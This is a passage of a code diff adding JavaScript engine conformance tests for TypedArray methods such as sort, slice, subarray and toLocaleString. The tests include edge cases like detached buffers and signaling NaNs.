+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "set" function property.
+assertEq(TypedArrayPrototype.hasOwnProperty("set"), true);
+assertEq(typeof TypedArrayPrototype.set, "function");
+
+// The concrete TypedArray prototypes do not have an own "set" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("set")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "set"), {
+ value: TypedArrayPrototype.set,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+assertEq(TypedArrayPrototype.set.name, "set");
+assertEq(TypedArrayPrototype.set.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/shell.js b/js/src/tests/ecma_6/TypedArray/shell.js
new file mode 100644
index 000000000..2fb0ab8f1
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/shell.js
@@ -0,0 +1,114 @@
+(function(global) {
+ "use strict";
+
+ const {
+ Float32Array, Float64Array, Object, Reflect, SharedArrayBuffer, WeakMap,
+ assertEq
+ } = global;
+ const {
+ apply: Reflect_apply,
+ construct: Reflect_construct,
+ } = Reflect;
+ const {
+ get: WeakMap_prototype_get,
+ has: WeakMap_prototype_has,
+ } = WeakMap.prototype;
+
+ const sharedConstructors = new WeakMap();
+
+ // Synthesize a constructor for a shared memory array from the constructor
+ // for unshared memory. This has "good enough" fidelity for many uses. In
+ // cases where it's not good enough, call isSharedConstructor for local
+ // workarounds.
+ function sharedConstructor(baseConstructor) {
+ // Create SharedTypedArray as a subclass of %TypedArray%, following the
+ // built-in %TypedArray% subclasses.
+ class SharedTypedArray extends Object.getPrototypeOf(baseConstructor) {
+ constructor(...args) {
+ var array = Reflect_construct(baseConstructor, args);
+ var {buffer, byteOffset, length} = array;
+ var sharedBuffer = new SharedArrayBuffer(buffer.byteLength);
+ var sharedArray = Reflect_construct(baseConstructor,
+ [sharedBuffer, byteOffset, length],
+ new.target);
+ for (var i = 0; i < length; i++)
+ sharedArray[i] = array[i];
+ assertEq(sharedArray.buffer, sharedBuffer);
+ return sharedArray;
+ }
+ }
+
+ // 22.2.5.1 TypedArray.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // 22.2.6.1 TypedArray.prototype.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray.prototype, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // Share the same name with the base constructor to avoid calling
+ // isSharedConstructor() in multiple places.
+ Object.defineProperty(SharedTypedArray, "name",
+ {__proto__: null, value: baseConstructor.name});
+
+ sharedConstructors.set(SharedTypedArray, baseConstructor);
+
+ return SharedTypedArray;
+ }
+
+ /**
+ * All TypedArray constructors for unshared memory.
+ */
+ const typedArrayConstructors = Object.freeze([
+ Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ ]);
+
+ /**
+ * All TypedArray constructors for shared memory.
+ */
+ const sharedTypedArrayConstructors = Object.freeze(
+ typeof SharedArrayBuffer === "function"
+ ? typedArrayConstructors.map(sharedConstructor)
+ : []
+ );
+
+ /**
+ * All TypedArray constructors for unshared and shared memory.
+ */
+ const anyTypedArrayConstructors = Object.freeze([
+ ...typedArrayConstructors, ...sharedTypedArrayConstructors,
+ ]);
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * memory.
+ */
+ function isSharedConstructor(constructor) {
+ return Reflect_apply(WeakMap_prototype_has, sharedConstructors, [constructor]);
+ }
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * or unshared memory, with an underlying element type of either Float32 or
+ * Float64.
+ */
+ function isFloatConstructor(constructor) {
+ if (isSharedConstructor(constructor))
+ constructor = Reflect_apply(WeakMap_prototype_get, sharedConstructors, [constructor]);
+ return constructor == Float32Array || constructor == Float64Array;
+ }
+
+ global.typedArrayConstructors = typedArrayConstructors;
+ global.sharedTypedArrayConstructors = sharedTypedArrayConstructors;
+ global.anyTypedArrayConstructors = anyTypedArrayConstructors;
+ global.isSharedConstructor = isSharedConstructor;
+ global.isFloatConstructor = isFloatConstructor;
+})(this);
diff --git a/js/src/tests/ecma_6/TypedArray/slice-species.js b/js/src/tests/ecma_6/TypedArray/slice-species.js
new file mode 100644
index 000000000..8a03f2f6e
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/slice-species.js
@@ -0,0 +1,49 @@
+for (var constructor of typedArrayConstructors) {
+ // Basic tests for our SpeciesConstructor implementation.
+ var undefConstructor = new constructor(2);
+ undefConstructor.constructor = undefined;
+ assertDeepEq(undefConstructor.slice(1), new constructor(1));
+
+ assertThrowsInstanceOf(() => {
+ var strConstructor = new constructor;
+ strConstructor.constructor = "not a constructor";
+ strConstructor.slice(123);
+ }, TypeError, "Assert that we have an invalid constructor");
+
+ // If obj.constructor[@@species] is undefined or null then the default
+ // constructor is used.
+ var mathConstructor = new constructor(8);
+ mathConstructor.constructor = Math.sin;
+ assertDeepEq(mathConstructor.slice(4), new constructor(4));
+
+ var undefSpecies = new constructor(2);
+ undefSpecies.constructor = { [Symbol.species]: undefined };
+ assertDeepEq(undefSpecies.slice(1), new constructor(1));
+
+ var nullSpecies = new constructor(2);
+ nullSpecies.constructor = { [Symbol.species]: null };
+ assertDeepEq(nullSpecies.slice(1), new constructor(1));
+
+ // If obj.constructor[@@species] is different constructor, it should be
+ // used.
+ for (var constructor2 of typedArrayConstructors) {
+ var modifiedConstructor = new constructor(2);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.slice(1), new constructor2(1));
+
+ var modifiedSpecies = new constructor(2);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.slice(1), new constructor2(1));
+ }
+
+ // If obj.constructor[@@species] is neither undefined nor null, and it's
+ // not a constructor, TypeError should be thrown.
+ assertThrowsInstanceOf(() => {
+ var strSpecies = new constructor;
+ strSpecies.constructor = { [Symbol.species]: "not a constructor" };
+ strSpecies.slice(123);
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/slice.js b/js/src/tests/ecma_6/TypedArray/slice.js
new file mode 100644
index 000000000..0a5ce4c50
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/slice.js
@@ -0,0 +1,45 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.slice.length, 2);
+
+ assertDeepEq(new constructor().slice(0), new constructor());
+ assertDeepEq(new constructor().slice(0, 4), new constructor());
+ assertDeepEq(new constructor(10).slice(0, 2), new constructor(2));
+
+ assertDeepEq(new constructor([1, 2]).slice(1), new constructor([2]));
+ assertDeepEq(new constructor([1, 2]).slice(0), new constructor([1, 2]));
+ assertDeepEq(new constructor([1, 2, 3]).slice(-1), new constructor([3]));
+ assertDeepEq(new constructor([1, 2, 3, 4]).slice(-3, -1), new constructor([2, 3]));
+ assertDeepEq(new constructor([.1, .2]).slice(0), new constructor([.1, .2]));
+
+ assertDeepEq(new constructor([1, 2]).slice(-3), new constructor([1, 2]));
+ assertDeepEq(new constructor([1, 2]).slice(0, -3), new constructor());
+ assertDeepEq(new constructor([1, 2]).slice(4), new constructor());
+ assertDeepEq(new constructor([1, 2]).slice(1, 5), new constructor([2]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var slice = newGlobal()[constructor.name].prototype.slice;
+ assertDeepEq(slice.call(new constructor([3, 2, 1]), 1),
+ new constructor([2, 1]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.slice.call(invalidReceiver, 0);
+ }, TypeError, "Assert that slice fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).slice(2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_6/TypedArray/sort_basics.js b/js/src/tests/ecma_6/TypedArray/sort_basics.js
new file mode 100644
index 000000000..cbfc53e91
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/sort_basics.js
@@ -0,0 +1,73 @@
+// Note: failed runs should include their "SEED" value in error messages,
+// setting "const SEED" to that value will recreate the data from any such run.
+const SEED = (Math.random() * 10) + 1;
+
+// Fill up an array buffer with random values and return it in raw form.
+// 'size' is the desired length of the view we will place atop the buffer,
+// 'width' is the bit-width of the view we plan on placing atop the buffer,
+// and 'seed' is an initial value supplied to a pseudo-random number generator.
+function genRandomArrayBuffer(size, width, seed) {
+ let buf = new ArrayBuffer((width / 8) * size);
+ let arr = new Uint8Array(buf);
+ let len = 0;
+ // We generate a random number, n, where 0 <= n <= 255 for every space
+ // available in our buffer.
+ for (let n of XorShiftGenerator(seed, buf.byteLength))
+ arr[len++] = n;
+ return buf;
+}
+
+// Because we can generate any possible combination of bits, some floating point
+// entries will take on -Infinity, Infinity, and NaN values. This function ensures
+// that a is <= b, where, like the default comparator, -Infinity < Infinity and
+// every non-NaN < NaN.
+function lte(a, b) {
+ if (isNaN(b))
+ return true;
+ return a <= b;
+}
+
+// A a >= b counterpart to the helper function above.
+function gte(a, b) {
+ return lte(b, a);
+}
+
+// A custom comparator.
+function cmp(a, b) {
+ return lte(a, b) ? gte(a, b) ? 0 : -1 : 1;
+}
+
+function SortTest(dataType, dataSource) {
+ let typedArray = new dataType(dataSource);
+ let originalValues = Array.from(typedArray);
+
+ // Test the default comparator
+ typedArray.sort();
+
+ // Test against regular array sort
+ assertDeepEq(Array.from(typedArray), Array.from(originalValues).sort(cmp),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Another sanity check
+ for (let i=0; i < typedArray.length - 1; i++)
+ assertEq(lte(typedArray[i], typedArray[i + 1]), true,
+ `The array is not properly sorted! ${typedArray[i]} > ${typedArray[i + 1]}, seed: ${SEED}`)
+
+ // Test custom comparators
+ typedArray.sort((x, y) => cmp(y, x));
+
+ // The array should be in reverse order
+ for (let i=typedArray.length - 2; i >= 0; i--)
+ assertEq(gte(typedArray[i], typedArray[i + 1]), true,
+ `The array is not properly sorted! ${typedArray[i]} < ${typedArray[i + 1]}, seed: ${SEED}`)
+}
+
+for (let constructor of anyTypedArrayConstructors) {
+ for (let arrayLength of [256, 16, 0]) {
+ let source = genRandomArrayBuffer(arrayLength, constructor.BYTES_PER_ELEMENT * 8, SEED);
+ SortTest(constructor, source);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/sort_comparators.js b/js/src/tests/ecma_6/TypedArray/sort_comparators.js
new file mode 100644
index 000000000..ca190948f
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/sort_comparators.js
@@ -0,0 +1,32 @@
+// Ensure that sorts finish even if a comparator adds items
+// Note: the array is not expected to be properly sorted.
+let outsideArray = new Int32Array([1, 99, 2]);
+function addingComparator(x, y) {
+ if (x == 99 || y == 99) {
+ outsideArray[0] = 101;
+ outsideArray[outsideArray.length - 1] = 102;
+ }
+ return x - y;
+}
+outsideArray.sort(addingComparator);
+assertEq(outsideArray.every(x => [1, 2, 99, 101, 102].includes(x)), true);
+
+// Ensure that sorts finish even if a comparator calls sort again
+// Note: the array is not expected to be properly sorted.
+outsideArray = new Int32Array([1, 99, 2]);
+function recursiveComparator(x, y) {
+ outsideArray.sort();
+ return x - y;
+}
+outsideArray.sort(recursiveComparator);
+assertEq(outsideArray.every(x => outsideArray.includes(x)), true)
+
+// Ensure that NaN's returned from custom comparators behave as / are converted
+// to +0s.
+let nanComparatorData = [2112, 42, 1111, 34];
+let nanComparatorArray = new Int32Array(nanComparatorData);
+nanComparatorArray.sort((x, y) => NaN);
+assertEq(nanComparatorData.every(x => nanComparatorArray.includes(x)), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/sort_errors.js b/js/src/tests/ecma_6/TypedArray/sort_errors.js
new file mode 100644
index 000000000..2b8921be9
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/sort_errors.js
@@ -0,0 +1,87 @@
+// Ensure that TypedArrays throw when attempting to sort a detached ArrayBuffer
+if (typeof detachArrayBuffer === "function") {
+ assertThrowsInstanceOf(() => {
+ let buffer = new ArrayBuffer(32);
+ let array = new Int32Array(buffer);
+ detachArrayBuffer(buffer);
+ array.sort();
+ }, TypeError);
+}
+
+// Ensure detachment check works when buffer is detached in comparator.
+if (typeof detachArrayBuffer === "function") {
+ let detached = false;
+ let ta = new Int32Array(3);
+ assertThrowsInstanceOf(() => {
+ ta.sort(function(a, b) {
+ assertEq(detached, false);
+ detached = true;
+ detachArrayBuffer(ta.buffer);
+ return a - b;
+ });
+ }, TypeError);
+}
+
+// Ensure detachment check doesn't choke on wrapped typed array.
+if (typeof newGlobal === "function") {
+ let ta = new Int32Array(3);
+ let otherGlobal = newGlobal();
+ otherGlobal.Int32Array.prototype.sort.call(ta, function(a, b) {
+ return a - b;
+ });
+}
+
+// Ensure detachment check works for wrapped typed arrays.
+if (typeof newGlobal === "function" && typeof detachArrayBuffer === "function") {
+ let detached = false;
+ let ta = new Int32Array(3);
+ let otherGlobal = newGlobal();
+ assertThrowsInstanceOf(() => {
+ otherGlobal.Int32Array.prototype.sort.call(ta, function(a,b) {
+ assertEq(detached, false);
+ detached = true;
+ detachArrayBuffer(ta.buffer);
+ return a - b;
+ });
+ }, TypeError);
+}
+
+// Ensure that TypedArray.prototype.sort will not sort non-TypedArrays
+assertThrowsInstanceOf(() => {
+ let array = [4, 3, 2, 1];
+ Int32Array.prototype.sort.call(array);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ Int32Array.prototype.sort.call({a: 1, b: 2});
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ Int32Array.prototype.sort.call(Int32Array.prototype);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ let buf = new ArrayBuffer(32);
+ Int32Array.prototype.sort.call(buf);
+}, TypeError);
+
+// Ensure that comparator errors are propagataed
+function badComparator(x, y) {
+ if (x == 99 && y == 99)
+ throw new TypeError;
+ return x - y;
+}
+
+assertThrowsInstanceOf(() => {
+ let array = new Uint8Array([99, 99, 99, 99]);
+ array.sort(badComparator);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ let array = new Uint8Array([1, 99, 2, 99]);
+ array.sort(badComparator);
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/sort_globals.js b/js/src/tests/ecma_6/TypedArray/sort_globals.js
new file mode 100644
index 000000000..6bab6a391
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/sort_globals.js
@@ -0,0 +1,9 @@
+// TypedArray.prototype.sort should work across globals
+let g2 = newGlobal();
+assertEqArray(
+ Int32Array.prototype.sort.call(new g2.Int32Array([3, 2, 1])),
+ new Int32Array([1, 2, 3])
+);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/sort_small.js b/js/src/tests/ecma_6/TypedArray/sort_small.js
new file mode 100644
index 000000000..22f9dc69a
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/sort_small.js
@@ -0,0 +1,38 @@
+const testCases = {
+ // Pre-sorted test data, it's important that these arrays remain in ascending order.
+ [Int8Array.name]: [[-128, 127]],
+ [Int16Array.name]: [[-32768, -999, 1942, 32767]],
+ [Int32Array.name]: [[-2147483648, -320000, -244000, 2147483647]],
+ [Uint8Array.name]: [[255]],
+ [Uint16Array.name]: [[0, 65535, 65535]],
+ [Uint32Array.name]: [[0, 987632, 4294967295]],
+ [Uint8ClampedArray.name]: [[255]],
+
+ // Test the behavior in the default comparator as described in 22.2.3.26.
+ // The spec boils down to, -0s come before +0s, and NaNs always come last.
+ // Float Arrays are used because all other types convert -0 and NaN to +0.
+ [Float32Array.name]: [
+ [-2147483647, -2147483646.99, -0, 0, 2147483646.99, NaN],
+ [1/undefined, NaN, Number.NaN]
+ ],
+ [Float64Array.name]: [
+ [-2147483646.99, -0, 0, 4147483646.99, NaN],
+ [1/undefined, NaN, Number.NaN]
+ ],
+};
+
+// Sort every possible permutation of an arrays
+function sortAllPermutations(dataType, testData) {
+ let reference = new dataType(testData);
+ for (let permutation of Permutations(testData))
+ assertDeepEq((new dataType(permutation)).sort(), reference);
+}
+
+for (let constructor of sharedTypedArrayConstructors) {
+ for (let data of testCases[constructor.name]) {
+ sortAllPermutations(constructor, data);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/sort_snans.js b/js/src/tests/ecma_6/TypedArray/sort_snans.js
new file mode 100644
index 000000000..9e3ad1698
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/sort_snans.js
@@ -0,0 +1,72 @@
+// Ensure that signaling NaN's don't cause problems while sorting
+
+function getNaNArray(length) {
+ let a = [];
+ for (let i = 0; i < length; i++)
+ a.push(NaN);
+ return a;
+}
+
+// Test every skipNth value in some range n, where start <= n <= end
+// and start/stop should be 32-bit integers with bit patterns that
+// form Float32 NaNs.
+function testFloat32NaNRanges(start, end) {
+ let skipN = 10e3;
+
+ // sample the space of possible NaNs to save time
+ let sampleSize = Math.floor((end - start)/ skipN);
+
+ let NaNArray = new Float32Array(getNaNArray(sampleSize));
+ let buffer = new ArrayBuffer(4 * sampleSize);
+ let uintView = new Uint32Array(buffer);
+ let floatView = new Float32Array(buffer);
+
+ uintView[0] = start;
+ for (let i = 1; i < sampleSize; i++) {
+ uintView[i] = uintView[0] + (i * skipN);
+ }
+
+ floatView.sort();
+ assertDeepEq(floatView, NaNArray);
+}
+
+// Test every skipNth value in some range n, where start <= n <= end
+// and startHi, startLow and endHi, endLow should be 32-bit integers which,
+// when combined (Hi + Low), form Float64 NaNs.
+function testFloat64NaNRanges(startHi, startLow, endHi, endLow) {
+ let skipN = 10e6;
+
+ let sampleSizeHi = Math.floor((endHi - startHi)/skipN);
+ let sampleSizeLow = Math.floor((endLow - startLow)/skipN);
+
+ let NaNArray = new Float64Array(getNaNArray(sampleSizeHi + sampleSizeLow));
+ let buffer = new ArrayBuffer(8 * (sampleSizeHi + sampleSizeLow));
+ let uintView = new Uint32Array(buffer);
+ let floatView = new Float64Array(buffer);
+
+ // Fill in all of the low bits first.
+ for (let i = 0; i <= sampleSizeLow; i++) {
+ uintView[i * 2] = startLow + (i * skipN);
+ uintView[(i * 2) + 1] = startHi;
+ }
+
+ // Then the high bits.
+ for (let i = sampleSizeLow; i <= sampleSizeLow + sampleSizeHi; i++) {
+ uintView[i * 2] = endLow;
+ uintView[(i * 2) + 1] = startHi + ((i - sampleSizeLow) * skipN);
+ }
+
+ floatView.sort();
+ assertDeepEq(floatView, NaNArray);
+}
+
+// Float32 Signaling NaN ranges
+testFloat32NaNRanges(0x7F800001, 0x7FBFFFFF);
+testFloat32NaNRanges(0xFF800001, 0xFFBFFFFF);
+
+// Float64 Signaling NaN ranges
+testFloat64NaNRanges(0x7FF00000, 0x00000001, 0x7FF7FFFF, 0xFFFFFFFF);
+testFloat64NaNRanges(0xFFF00000, 0x00000001, 0xFFF7FFFF, 0xFFFFFFFF);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/sorting_buffer_access.js b/js/src/tests/ecma_6/TypedArray/sorting_buffer_access.js
new file mode 100644
index 000000000..c31f4ca16
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/sorting_buffer_access.js
@@ -0,0 +1,15 @@
+// Ensure that when sorting arrays of size greater than 128, which
+// calls RadixSort under the hood, we don't access the 'buffer'
+// property of the typed array directly.
+
+
+// The buggy behavior in the RadixSort is only exposed when we use
+// float arrays, but checking everything just to be sure.
+for (var ctor of anyTypedArrayConstructors) {
+ var testArray = new ctor(1024);
+ Object.defineProperty(testArray, "buffer", { get() { throw new Error("FAIL: Buffer accessed directly"); } });
+ testArray.sort();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/subarray-species.js b/js/src/tests/ecma_6/TypedArray/subarray-species.js
new file mode 100644
index 000000000..91c34e80c
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/subarray-species.js
@@ -0,0 +1,63 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[3, 4], begin=2, end=4) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.subarray(begin, end), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.subarray(begin, end), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFD, 0xFC]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0xFD, 0xFC]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-3, -4]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-3, -4]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFD, 0xFFFC]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-3, -4]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFD, 0xFFFFFFFC]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-3, -4]);
+
+// different size
+
+// To avoid handling endian, use ArrayBuffer as an argument.
+var a = new Int8Array([0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0,
+ 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
+ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
+ 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x0F]);
+
+test(Uint8Array, Uint16Array, a.buffer, a.slice(2, 6).buffer);
+test(Uint16Array, Uint8Array, a.buffer, a.slice(4, 6).buffer);
+
+test(Uint8Array, Uint32Array, a.buffer, a.slice(4, 12).buffer, 4, 6);
+test(Uint32Array, Uint8Array, a.buffer, a.slice(8, 10).buffer);
+
+test(Uint16Array, Uint32Array, a.buffer, a.slice(4, 12).buffer);
+test(Uint32Array, Uint16Array, a.buffer, a.slice(8, 12).buffer);
+
+test(Float32Array, Float64Array, a.buffer, a.slice(8, 24).buffer);
+test(Float64Array, Float32Array, a.buffer, a.slice(16, 24).buffer);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_6/TypedArray/subarray.js b/js/src/tests/ecma_6/TypedArray/subarray.js
new file mode 100644
index 000000000..a7bfab0ef
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/subarray.js
@@ -0,0 +1,29 @@
+// Bug 1291003
+if (typeof detachArrayBuffer === "function") {
+ for (let constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+
+ let targetOffset;
+ let buffer = new ArrayBuffer(2 * elementSize);
+ let typedArray = new constructor(buffer, 1 * elementSize, 1);
+ typedArray.constructor = {
+ [Symbol.species]: function(ab, offset, length) {
+ targetOffset = offset;
+ return new constructor(1);
+ }
+ };
+
+ let beginIndex = {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ };
+ typedArray.subarray(beginIndex);
+
+ assertEq(targetOffset, 1 * elementSize);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/toLocaleString-detached.js b/js/src/tests/ecma_6/TypedArray/toLocaleString-detached.js
new file mode 100644
index 000000000..fe95ae689
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/toLocaleString-detached.js
@@ -0,0 +1,38 @@
+if (typeof detachArrayBuffer === "function") {
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Throws if array buffer is detached.
+ for (let constructor of typedArrayConstructors) {
+ let typedArray = new constructor(42);
+ detachArrayBuffer(typedArray.buffer);
+ assertThrowsInstanceOf(() => typedArray.toLocaleString(), TypeError);
+ }
+
+ // Throws a TypeError if detached in Number.prototype.toLocaleString.
+ for (let constructor of typedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+ if (!detached) {
+ detachArrayBuffer(typedArray.buffer);
+ detached = true;
+ }
+ return this;
+ };
+
+ // No error for single element arrays.
+ let detached = false;
+ let typedArray = new constructor(1);
+ assertEq(typedArray.toLocaleString(), "0");
+ assertEq(detached, true);
+
+ // TypeError if more than one element is present.
+ detached = false;
+ typedArray = new constructor(2);
+ assertThrowsInstanceOf(() => typedArray.toLocaleString(), TypeError);
+ assertEq(detached, true);
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/toLocaleString-nointl.js b/js/src/tests/ecma_6/TypedArray/toLocaleString-nointl.js
new file mode 100644
index 000000000..f2870efbe
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/toLocaleString-nointl.js
@@ -0,0 +1,40 @@
+if (typeof Intl !== "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Ensure no arguments are passed to the array elements.
+ for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ };
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Ensure no arguments are passed to the array elements even if supplied.
+ for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ };
+ let locales = {};
+ let options = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales, options), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales, options), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/toLocaleString.js b/js/src/tests/ecma_6/TypedArray/toLocaleString.js
new file mode 100644
index 000000000..78049ec22
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/toLocaleString.js
@@ -0,0 +1,80 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "toLocaleString" function property.
+assertEq(TypedArrayPrototype.hasOwnProperty("toLocaleString"), true);
+assertEq(typeof TypedArrayPrototype.toLocaleString, "function");
+
+// The initial value of %TypedArrayPrototype%.toLocaleString is not Array.prototype.toLocaleString.
+assertEq(TypedArrayPrototype.toLocaleString === Array.prototype.toLocaleString, false);
+
+// The concrete TypedArray prototypes do not have an own "toLocaleString" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("toLocaleString")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "toLocaleString"), {
+ value: TypedArrayPrototype.toLocaleString,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+assertEq(TypedArrayPrototype.toLocaleString.name, "toLocaleString");
+assertEq(TypedArrayPrototype.toLocaleString.length, 0);
+
+// It's not a generic method.
+assertThrowsInstanceOf(() => TypedArrayPrototype.toLocaleString.call(), TypeError);
+for (let invalid of [void 0, null, {}, [], function(){}, true, 0, "", Symbol()]) {
+ assertThrowsInstanceOf(() => TypedArrayPrototype.toLocaleString.call(invalid), TypeError);
+}
+
+const localeOne = 1..toLocaleString(),
+ localeTwo = 2..toLocaleString(),
+ localeSep = [,,].toLocaleString();
+
+for (let constructor of anyTypedArrayConstructors) {
+ assertEq(new constructor([]).toLocaleString(), "");
+ assertEq(new constructor([1]).toLocaleString(), localeOne);
+ assertEq(new constructor([1, 2]).toLocaleString(), localeOne + localeSep + localeTwo);
+}
+
+const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+// Calls Number.prototype.toLocaleString on each element.
+for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
